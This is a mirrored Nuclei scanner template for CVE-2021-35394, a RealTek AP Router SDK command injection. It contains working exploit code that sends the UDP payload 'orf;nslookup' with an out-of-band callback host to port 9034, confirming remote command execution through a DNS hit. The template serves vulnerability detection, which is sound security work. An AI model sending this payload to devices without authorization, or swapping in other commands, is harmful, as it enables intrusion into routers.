mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-07 11:13:20 +08:00
41 lines
1.4 KiB
YAML
41 lines
1.4 KiB
YAML
id: CVE-2021-35394
|
|
|
|
info:
|
|
name: RealTek AP Router SDK - Arbitrary Command Injection
|
|
author: king-alexander
|
|
severity: critical
|
|
remediation: Apply the latest security patches or updates provided by RealTek.
|
|
description: The SDK exposes a UDP server that allows remote execution of arbitray commands.
|
|
impact: |
|
|
Attackers can execute arbitrary commands remotely through the exposed UDP server port by sending specially crafted commands to RealTek AP Router SDK devices.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-35394
|
|
- https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild
|
|
classification:
|
|
epss-score: 0.9422
|
|
epss-percentile: 0.99918
|
|
tags: cve,cve2021,realtek,rce,kev,vkev,vuln
|
|
|
|
javascript:
|
|
- pre-condition: |
|
|
isUDPPortOpen(Host,Port);
|
|
code: |
|
|
let packet = bytes.NewBuffer();
|
|
let message = `orf;nslookup ${OAST}`
|
|
let data = message;
|
|
packet.WriteString(data)
|
|
let c = require("nuclei/net");
|
|
let conn = c.Open('udp', `${Host}:${Port}`);
|
|
conn.SendHex(packet.Hex());
|
|
|
|
args:
|
|
Host: "{{Host}}"
|
|
Port: 9034
|
|
OAST: "{{interactsh-url}}"
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "dns"
|
|
# digest: 4b0a00483046022100b7c8fbb40ba04b5755f44224f1946329d3679d3de927aa21579ee05aab6c1db402210086b7b9375f279b2521f3d1a6ed4bb0820045062c83ce7773640b0cb2170118e0:922c64590222798bb761d5b6d8e72950 |